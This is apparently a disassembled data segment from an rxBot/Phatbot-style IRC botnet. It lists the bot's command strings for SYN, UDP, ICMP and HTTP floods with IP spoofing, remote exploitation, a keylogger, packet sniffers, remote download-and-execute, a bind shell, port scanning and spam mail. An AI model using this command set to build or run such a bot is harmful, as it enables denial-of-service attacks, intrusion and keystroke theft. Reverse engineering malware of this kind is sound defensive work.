aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40274D+52A2o
align 4
unk_42DB24 db 2Dh ; - ; DATA XREF: sub_40274D+5278o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_11 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42DB60 db 2Dh ; - ; DATA XREF: sub_40274D+521Fo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42DBA8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4078C4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42DBE0 db 2Dh ; - ; DATA XREF: sub_40274D+5158o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40274D+50F4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40274D+50E4o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40274D+50DDo
unk_42DC5C db 2Dh ; - ; DATA XREF: sub_40274D+504Bo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_40274D+503Bo
; seg000:00416D30o
align 10h
aAck db 'ack',0 ; DATA XREF: sub_40274D+5024o
; seg000:00416D10o
aHcon db 'hcon',0 ; DATA XREF: sub_40274D+4FB1o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_40274D+4F9Eo
unk_42DCA4 db 2Dh ; - ; DATA XREF: sub_40274D+4F82o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40274D+4F0Eo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_40274D+4E23o
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_40274D+4E0Co
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_40274D+4DF5o
align 4
aP: ; DATA XREF: sub_40274D+4DDEo
; seg002:00442EF8o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_40274D+4DC7o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_40274D+4DB0o
align 4
aNs db 'ns',0 ; DATA XREF: sub_40274D+4D99o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_40274D+4D82o
aU: ; DATA XREF: sub_40274D+4D6Bo
; seg002:00442EF0o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_40274D+4D54o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_40274D+4D3Do
align 4
aAsc db 'asc',0 ; DATA XREF: sub_40274D+4D26o
aAdvscan db 'advscan',0 ; DATA XREF: sub_40274D+4D0Fo
aPsc db 'psc',0 ; DATA XREF: sub_40274D+4CF8o
aPortscan db 'portscan',0 ; DATA XREF: sub_40274D+4CE1o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_40274D+4CBBo
aC_action db 'c_action',0 ; DATA XREF: sub_40274D+4CA4o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_40274D+4C8Do
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_40274D+4C76o
align 4
aSc db 'sc',0 ; DATA XREF: sub_40274D+4C5Fo
align 4
aScan_0 db 'scan',0 ; DATA XREF: sub_40274D+4C48o
align 10h
aRd db 'rd',0 ; DATA XREF: sub_40274D+4C31o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_40274D+4C1Ao
align 10h
aDl db 'dl',0 ; DATA XREF: sub_40274D+4C03o
align 4
aDownload db 'download',0 ; DATA XREF: sub_40274D+4BECo
align 10h
aWonk db 'wonk',0 ; DATA XREF: sub_40274D+4BD5o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_40274D+4BBEo
align 4
dword_42DDE4 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_40274D+4B9Co
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 10h
dword_42DE20 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_40274D+4B3Ao
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_40274D+4AC3o
align 4
aSyn db 'syn',0 ; DATA XREF: sub_40274D+4AACo
; sub_40274D+500Co ...
aSynflood db 'synflood',0 ; DATA XREF: sub_40274D+4A95o
align 4
unk_42DE68 db 2Dh ; - ; DATA XREF: sub_40274D+4A73o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_40274D+49B5o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_40274D+499Eo
; sub_415825:loc_41594Do
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_40274D+4987o
; sub_415825:loc_415931o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_40274D+4970o
; sub_415825+EDo
align 4
aC: ; DATA XREF: sub_40274D+4959o
; sub_40FDC3+78o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_40274D+4942o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_40274D+491Co
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40274D+4905o
align 4
aMv db 'mv',0 ; DATA XREF: sub_40274D+48EEo
align 4
aRename db 'rename',0 ; DATA XREF: sub_40274D+48D7o
align 4
aFf db 'ff',0 ; DATA XREF: sub_40274D+48C0o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_40274D+48A9o
align 4
aE: ; DATA XREF: sub_40274D+4892o
; seg002:00442EE0o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_40274D+487Bo
aUpdate db 'update',0 ; DATA XREF: sub_40274D+484Do
align 4
aDe db 'de',0 ; DATA XREF: sub_40274D+4836o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_40274D+481Fo
align 4
aRp db 'rp',0 ; DATA XREF: sub_40274D+4808o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_40274D+47F1o
; sub_40274D+68A6o
align 10h
aTsn db 'tsn',0 ; DATA XREF: sub_40274D+47DAo
aTsunami db 'tsunami',0 ; DATA XREF: sub_40274D+47C3o
aT3 db 't3',0 ; DATA XREF: sub_40274D+47ACo
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_40274D+4795o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_40274D+477Eo
aC_part db 'c_part',0 ; DATA XREF: sub_40274D+4767o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_40274D+4750o
aC_join db 'c_join',0 ; DATA XREF: sub_40274D+4739o
align 10h
aC_n db 'c_n',0 ; DATA XREF: sub_40274D+4722o
aC_nick db 'c_nick',0 ; DATA XREF: sub_40274D+470Bo
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_40274D+46F4o
aC_mode db 'c_mode',0 ; DATA XREF: sub_40274D+46DDo
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_40274D+46C6o
aC_raw db 'c_raw',0 ; DATA XREF: sub_40274D+46AFo
align 4
aM_0: ; DATA XREF: sub_40274D+4698o
; seg002:00442F38o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_40274D+466Ao
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_40274D+4653o
align 4
aA: ; DATA XREF: sub_40274D+463Co
; seg002:00442EFCo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_40274D+4625o
align 10h
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_40274D+45F7o
aAa db 'aa',0 ; DATA XREF: sub_40274D+45E0o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_40274D+45C9o
align 4
aKl db 'kl',0 ; DATA XREF: sub_40274D+45B2o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_40274D+459Bo
aGh db 'gh',0 ; DATA XREF: sub_40274D+4575o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_40274D+4560o
aCap db 'cap',0 ; DATA XREF: sub_40274D+454Bo
aCapture db 'capture',0 ; DATA XREF: sub_40274D+4536o
unk_42DFEC db 2Dh ; - ; DATA XREF: sub_40274D:loc_406C3Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42E008 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406C33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_42E02C db 2Dh ; - ; DATA XREF: sub_40274D:loc_406BEDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42E04C db 2Dh ; - ; DATA XREF: sub_40274D+4499o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42E06C db 2Dh ; - ; DATA XREF: sub_40274D:loc_406B62o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42E08C db 2Dh ; - ; DATA XREF: sub_40274D+440Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_40274D+43A8o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_40274D+436Eo
align 4
aPause db 'pause',0 ; DATA XREF: sub_40274D+4351o
align 4
aStop db 'stop',0 ; DATA XREF: sub_40274D+4337o
align 4
unk_42E0D4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406A77o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42E0F4 db 2Dh ; - ; DATA XREF: sub_40274D+4320o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_40274D+42CDo
align 10h
unk_42E120 db 2Dh ; - ; DATA XREF: sub_40274D+429Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_40274D+427Ao
dword_42E15C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+422Co
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42E198 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+41D3o
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42E1BC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+415Ao
aAlreadyRunning db '- Already running.',0
align 4
dword_42E1DC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D:loc_406891o
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42E208 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+413Ao
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_40274D+40FEo
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_40274D+40D9o
align 4
dword_42E254 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D:loc_40681Bo
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42E274 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+40C4o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42E2AC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+4094o
aFailedToSta_15 db '- Failed to start server, error: <%d>.',0
align 10h
dword_42E2E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D:loc_406794o
aServerRunningO db '- Server running on Port: 113.',0
align 4
dword_42E30C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+403Do
aAlreadyRunni_0 db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_40274D+4004o
align 4
unk_42E334 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406746o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
align 8
unk_42E368 db 2Dh ; - ; DATA XREF: sub_40274D+3FEFo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42E3A8 db 2Dh ; - ; DATA XREF: sub_40274D+3FAAo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42E3E4 db 2Dh ; - ; DATA XREF: sub_40274D+3F51o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42E414 db 2Dh ; - ; DATA XREF: sub_40274D+3EF3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_40274D+3EBCo
dword_42E43C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D:loc_4065FEo
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42E468 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3EA7o
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42E4A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3E62o
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
align 10h
dword_42E4E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3E09o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 10h
dword_42E510 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3DABo
aAlreadyRunni_2 db '- Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_40274D+3D8Bo
; sub_40274D+3ED3o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_40274D+3D74o
align 4
aRf db 'rf',0 ; DATA XREF: sub_40274D+3D5Fo
align 10h
aReadfile db 'readfile',0 ; DATA XREF: sub_40274D+3D4Ao
align 4
aCm db 'cm',0 ; DATA XREF: sub_40274D+3D35o
align 10h
aCmd db 'cmd',0 ; DATA XREF: sub_40274D+3D20o
aMirc db 'mirc',0 ; DATA XREF: sub_40274D+3D0Bo
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_40274D+3CF6o
aV: ; DATA XREF: sub_40274D+3CE1o
; seg002:00442F2Co ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_40274D+3CCCo
align 10h
aLi db 'li',0 ; DATA XREF: sub_40274D+3CB7o
align 4
aList db 'list',0 ; DATA XREF: sub_40274D+3CA2o
align 4
aGt db 'gt',0 ; DATA XREF: sub_40274D+3C8Do
align 10h
aDel db 'del',0 ; DATA XREF: sub_40274D+3C63o
aDelete db 'delete',0 ; DATA XREF: sub_40274D+3C4Eo
; sub_40274D+438Bo
align 4
aKi db 'ki',0 ; DATA XREF: sub_40274D+3C39o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_40274D+3C24o
align 4
aKp db 'kp',0 ; DATA XREF: sub_40274D+3C0Fo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_40274D+3BFAo
align 4
aDn db 'dn',0 ; DATA XREF: sub_40274D+3BE5o
align 4
aDns db 'dns',0 ; DATA XREF: sub_40274D+3BD0o
aSe db 'se',0 ; DATA XREF: sub_40274D+3BBBo
align 4
aO: ; DATA XREF: sub_40274D+3B91o
; seg002:0044325Co
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_40274D+3B7Co
; sub_40274D+562Ao ...
align 10h
aPr db 'pr',0 ; DATA XREF: sub_40274D+3B67o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_40274D+3B52o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_40274D+3B3Do
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_40274D+3B28o
align 10h
aC_q db 'c_q',0 ; DATA XREF: sub_40274D+3B13o
aC_quit db 'c_quit',0 ; DATA XREF: sub_40274D+3AFEo
align 4
aK: ; DATA XREF: sub_40274D+3AE9o
; seg002:00442F18o ...
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_40274D+3AD4o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_40274D+3AAAo
aPt db 'pt',0 ; DATA XREF: sub_40274D+3A95o
align 4
aJ: ; DATA XREF: sub_40274D+3A6Bo
; seg002:00442F14o ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_40274D+3A41o
; seg002:00442F34o ...
unicode 0, <n>,0
unk_42E60C db 2Dh ; - ; DATA XREF: sub_40274D+3A10o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_40274D+39ACo
aRegister db 'register',0 ; DATA XREF: sub_40274D+3989o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_40274D+3933o
align 4
aMix db 'mix',0 ; DATA XREF: sub_40274D+3878o
dword_42E66C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_40274D+3827o
; sub_40274D+385Bo
dd 0
dword_42E684 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_40274D+37F3o
dd 1
dword_42E69C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_40274D+37BFo
; sub_40274D+38C1o
aCtcp db 'ctcp',0 ; DATA XREF: sub_40274D+3776o
align 4
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_40274D+36E7o
; sub_40274D+3720o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: sub_40274D+3699o
align 10h
aMsg db 'msg',0 ; DATA XREF: sub_40274D+35BCo
aChgnick db 'chgnick',0 ; DATA XREF: sub_40274D+3576o
aNick_0 db 'nick',0 ; DATA XREF: sub_40274D+347Co
; sub_40274D+3A2Co
align 4
dword_42E6E4 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_40274D+345Fo
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42E70C dd 636364h ; DATA XREF: sub_40274D+33ECo
aJoinPart db 'join/part',0 ; DATA XREF: sub_40274D+32BAo
align 4
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40274D+329Do
; sub_40274D+34D3o ...
aSI db '%s%i',0 ; DATA XREF: sub_40274D+3285o
; sub_40A800+4Eo ...
align 4
aPnick db 'pnick',0 ; DATA XREF: sub_40274D+324Bo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_40274D+322Eo
; sub_40274D+3308o ...
align 10h
aPartflood db 'partflood',0 ; DATA XREF: sub_40274D+320Ao
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_40274D+31EDo
aPart_0 db 'part',0 ; DATA XREF: sub_40274D+31CEo
; sub_40274D+3A80o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_40274D+31B1o
; sub_40274D+32E2o ...
aJoin db 'join',0 ; DATA XREF: sub_40274D+3192o
; sub_40274D+3A56o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_40274D+3175o
align 4
aMode db 'mode',0 ; DATA XREF: sub_40274D+312Fo
; sub_40274D+4681o
align 10h
aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_40274D+3112o
align 10h
aNt db 'nt',0 ; DATA XREF: sub_40274D+30CCo
align 4
dword_42E794 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_40274D+30AFo
dword_42E7A8 dd 7463h ; DATA XREF: sub_40274D+3069o
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_40274D+304Co
; sub_40274D+360Ao ...
align 4
a_: ; DATA XREF: sub_40274D+3023o
; sub_40274D+3086o ...
unicode 0, <_>,0
aPm db 'pm',0 ; DATA XREF: sub_40274D+3006o
; sub_40274D+460Eo
align 4
unk_42E7C4 db 2Dh ; - ; DATA XREF: sub_40274D+2FD7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 10h
aLoad db 'load',0 ; DATA XREF: sub_40274D+2F8Fo
align 4
aFlood db 'flood',0 ; DATA XREF: sub_40274D+2F66o
align 10h
aRinms db 'rinms',0 ; DATA XREF: sub_40274D+2F4Fo
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_40274D+2F3Ao
aRin db 'rin',0 ; DATA XREF: sub_40274D+2F25o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_40274D+2F10o
align 4
unk_42E82C db 2Dh ; - ; DATA XREF: sub_40274D+2EF0o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42E86C db 2Dh ; - ; DATA XREF: sub_40274D+2E94o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_40274D+2E17o
unk_42E8A4 db 2Dh ; - ; DATA XREF: sub_40274D+2DF9o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
unk_42E8D0 db 2Dh ; - ; DATA XREF: sub_40274D+2DCFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_40274D+2D97o
align 10h
unk_42E910 db 2Dh ; - ; DATA XREF: sub_40274D+2D3Eo
; sub_40274D+2DAFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet_0 db 'get',0 ; DATA XREF: sub_40274D:loc_405469o
; sub_40274D+3C78o
unk_42E94C db 2Dh ; - ; DATA XREF: sub_40274D+2CB0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42E978 db 2Dh ; - ; DATA XREF: sub_40274D+2CA5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42E9A4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h, 0 ; DATA XREF: sub_40274D+2C57o
unk_42E9B8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_405395o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42EA68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_40274D+2C16o
aFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42EAA4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_40274D+2BB2o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40274D+2BACo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_40274D+2BA5o
align 4
unk_42EAD8 db 2Dh ; - ; DATA XREF: sub_40274D+2B1Co
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42EB18 db 2Dh ; - ; DATA XREF: sub_40274D+2AB1o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42EB44 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_40274D+2A20o
aFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0
align 10h
dword_42EB80 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_40274D+29C7o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42EBA8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_40274D+2909o
aFindFile db 'Find file',0 ; DATA XREF: sub_40274D+2904o
align 4
dword_42EBC4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_40274D+28F7o
aProcessList db 'Process list',0 ; DATA XREF: sub_40274D+28F2o
align 4
dword_42EBE4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_40274D+288Co
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FCCo
; sub_40274D:loc_409FE3o ...
align 4
dword_42EC18 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_40274D+286Ao
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FAAo
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404F93o
; sub_40274D+76C8o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+2834o
align 4
unk_42EC68 db 2Dh ; - ; DATA XREF: sub_40274D+27EEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_42EC94 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_40274D+27B3o
dd 2E7325h
unk_42ECAC db 2Dh ; - ; DATA XREF: sub_40274D+2789o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42ECE8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_40274D+2730o
dd 65726874h, 2E736461h, 0
dword_42ED08 dd 627573h ; DATA XREF: sub_40274D+270Ao
dword_42ED0C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_40274D+26C1o
dd 2E7473h
unk_42ED24 db 2Dh ; - ; DATA XREF: sub_40274D+2694o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0
dword_42ED5C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_40274D+263Bo
dd 2E676Fh
